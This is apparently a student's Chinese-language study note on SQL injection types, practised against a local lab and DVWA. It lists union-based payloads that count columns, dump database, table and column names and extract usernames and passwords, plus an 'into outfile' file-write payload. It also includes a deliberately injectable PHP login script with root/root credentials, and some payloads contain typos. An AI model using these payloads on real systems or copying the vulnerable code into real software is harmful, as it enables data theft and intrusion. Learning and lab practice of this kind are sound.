SQL类型注入
前言:
继续进行未完成的sql注入学习
今天学习了各类型注入。前来进行总结。
目录:
数字型注入
字符型注入
提交注注入
GET注入
POST注入
COOKIE注入
正文:
写入文件的语句
1′ union select ‘xxxxx’ into outfile ‘xxx.txt’ #
GET注入:
GET注入,顾名思义GET。只要注入的时候
用GET的方式提交就好。
and 1=1
and 1=2
order by 1,2,3
union select database(),version(),user()
union select table_name,2,3 from information_schema where table_schema=HEX #指定数据库的HEX编码
union select column_name,2,3 from informtaion_schema where table_name=HEX #指定数据库的HEX编码
union select 指定字段名 from 指定表名 例:union select username,password from user
POST注入:
提交方式用POST方式提交
POST.html代码
- <html>
- <head>
- <title>POST注入</title>
- </head>
- <body>
- <div style="color:blue;text-align:center">
- <h2>POST注入尝试</h2>
- <form action="sqlin.php" method="POST">
- <input type="text" name="x">
- <input type="submit" value="提交">
- </form>
- </div>
- </body>
- </html>
sqllin.php代码
- //fendo数据库root用户连接mysql数据库,操作user表
- <?
- $id= $_POST['x'];//接受get传递的参数名x的值并赋值给变量id
- $conn = mysql_connect('127.0.0.1','root','root');//连接mysql数据库
- mysql_select_db('fendo',$conn);//选择$conn连接请求下的test数据库名
- $sql = "select * from user where id=$id";//定义sql语句并组合变量id
- $result = mysql_query($sql);//执行sql语句并返回给变量result
- while($row = mysql_fetch_array($result)){//遍历数组数据并显示
- echo "ID".$row['id']."</br>";
- echo "用户名".$row['username']."</br>";
- echo "密码".$row['password']."</br>";
- }
- mysql_close($conn);//关闭数据库连接
- echo "<hr>";
- echo "当前语句:";
- echo $sql;
- ?>
尝试注入
1 and 1=1
1 and 1=2
存在注入。
猜长度
1 order by 1 #返回正常
1 order by 1,2 #返回正常
1 order by 1,2,3 #返回正常
1 order by 1,2,3,4 #返回错误
长度为3
获取数据库名,数据库版本,数据库用户
1 union select databse(),version(),user()
爆出DVWA的表
1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761
爆出DVWA下users表的字段
1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273
爆出我要的字段
1 union select username,password,3 from user
Cookie注入:
cookie注入:点我看详细注入
学习完这些后,可以画出这么一幅图
盲注目前还没学